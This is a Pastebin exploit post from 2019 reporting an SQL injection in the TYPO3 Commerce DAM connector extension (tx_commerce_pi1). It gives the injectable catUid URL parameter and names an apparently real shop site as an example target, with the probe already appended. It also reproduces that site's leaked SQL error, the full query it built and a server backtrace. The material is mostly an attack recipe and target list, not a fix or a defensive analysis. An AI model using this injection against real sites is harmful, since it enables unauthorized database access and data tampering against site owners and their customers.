Advertisement
KingSkrupellos

Typo3 Commerce DAM connector tx_commerce_pi1 0.1.0 SQL Inj

Feb 18th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.75 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Typo3 CMS Commerce DAM connector tx_commerce_pi1 0.1.0 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 18/02/2019
  7. # Vendor Homepage : opencontent.org ~ typo3.org
  8. # Software Information Links : forge.typo3.org/projects/extension-dam_commerce
  9. docs.typo3.org/typo3cms/extensions/dam_commerce/Manual/Index.html
  10. docs.typo3.org/typo3cms/extensions/commerce/
  11. # Software Affected Versions : 0.0.1 - 0.0.2 - 0.0.3 - 0.0.4 - 0.0.5 - 0.1.0
  12. # Tested On : Windows and Linux
  13. # Category : WebApps
  14. # Exploit Risk : Medium
  15. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  16. Special Elements used in an SQL Command ('SQL Injection') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20.  
  21. ####################################################################
  22.  
  23. # Description :
  24. ***************************
  25. TYPO3 — the Professional, Flexible Content Management System.
  26.  
  27. ####################################################################
  28.  
  29. # Impact :
  30. ***********
  31. Typo3 Commerce DAM connector tx_commerce_pi1 0.1.0 [ and other versions ]
  32.  
  33. extension for TYPO3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize
  34.  
  35. user-supplied data before using it in an SQL query.
  36.  
  37. Exploiting this issue could allow an attacker to compromise the application,
  38.  
  39. access or modify data, or exploit latent vulnerabilities in the underlying database.
  40.  
  41. A remote attacker can send a specially crafted request to the vulnerable application
  42.  
  43. and execute arbitrary SQL commands in application`s database.
  44.  
  45. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  46.  
  47. An attacker can exploit this issue using a browser.
  48.  
  49. ####################################################################
  50.  
  51. # SQL Injection Exploit :
  52. **********************
  53.  
  54. /index.php?id=[ID-NUMBER]&L=[ID-NUMBER]&tx_commerce_pi1%255BshowUid%255D=[ID-NUMBER]&tx_commerce_pi1%255BcatUid%255D=[SQL Injection]
  55.  
  56. ####################################################################
  57.  
  58. # Example Vulnerable Sites :
  59. *************************
  60.  
  61. [+] fakieshop.com/index.php?id=70&L=0&tx_commerce_pi1%255BshowUid%255D=8544&tx_commerce_pi1%255BcatUid%255D=113%27
  62.  
  63. ####################################################################
  64.  
  65. # Example SQL Database Error :
  66. ****************************
  67.  
  68. exec_SELECTquery
  69. ******************
  70.  
  71. caller - TYPO3\CMS\Core\Database\DatabaseConnection::exec_SELECTquery
  72.  
  73. ERROR
  74. *********
  75.  
  76. You have an error in your SQL syntax; check the manual that corresponds
  77. to your MySQL server version for the right syntax to use near 'AND tx_commerce_
  78. products_categories_mm.uid_foreign = AND tx_commerce_products.u' at line 1
  79.  
  80. lastBuiltQuery
  81. *************
  82.  
  83. SELECT tx_commerce_categories.uid as catUid, tx_commerce_
  84. categories.title as catTitle,tx_commerce_categories.sys_language_uid as
  85. catSysLanguageUid,MAX(tx_commerce_article_prices.purchase_price)
  86. as crossedPrice, MIN(tx_commerce_article_prices.price_gross) as priceMin,
  87. MAX(tx_commerce_article_prices.price_gross) as priceMax, GROUP_CONCAT
  88. (tx_commerce_products.sni_attributes SEPARATOR ",") as attributes,
  89. tx_commerce_categories.sni_attributes as catAttributes FROM tx_commerce_
  90. categories,tx_commerce_products,tx_commerce_products_categories_mm,
  91. tx_commerce_articles,tx_commerce_article_prices WHERE tx_commerce_
  92. categories.uid = AND tx_commerce_products_categories_mm.uid_foreign =
  93. AND tx_commerce_products.uid = tx_commerce_products_categories_
  94. mm.uid_local AND tx_commerce_articles.uid_product = tx_commerce_products.uid
  95. AND tx_commerce_article_prices.uid_article = tx_commerce_articles.uid AND
  96. tx_commerce_articles.deleted = 0 AND tx_commerce_articles.hidden = 0 AND
  97. tx_commerce_article_prices.deleted = 0 AND tx_commerce_article_prices.hidden =
  98. 0 AND tx_commerce_products.deleted = 0 AND tx_commerce_products.hidden = 0
  99.  
  100. debug_backtrace
  101. ***************
  102.  
  103. require(src-6.2.31/typo3/sysext/cms/tslib/index_ts.php),
  104. src-6.2.31/index.php#28 // TYPO3\CMS\Frontend\Page\PageGenerator::renderContent#212
  105. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGet#215
  106. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#697 //
  107. TYPO3\CMS\Frontend\ContentObject\TemplateContentObject->render#752 //
  108. TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#128
  109. // TYPO3\CMS\Frontend\ContentObject\ContentObjectArrayContentObject->render#752
  110. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGet#40
  111. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#697
  112. // TYPO3\CMS\Frontend\ContentObject\TemplateContentObject->render#752
  113. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#128
  114. // TYPO3\CMS\Frontend\ContentObject\ContentObjectArrayContentObject->render#752
  115. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGet#40
  116. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#697
  117. // TYPO3\CMS\Frontend\ContentObject\UserContentObject->render#752
  118. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->callUserFunction#41
  119. // call_user_func_array#6663 // tx_snicommercefilter_pi1->main#
  120. // tx_snicommercefilter_pi1->getCategoryInfo#74 // TYPO3\CMS\Core
  121. \Database\DatabaseConnection->exec_SELECTquery#128
  122. // TYPO3\CMS\Core\Database\DatabaseConnection->debug#305
  123.  
  124. ####################################################################
  125.  
  126. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  127.  
  128. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement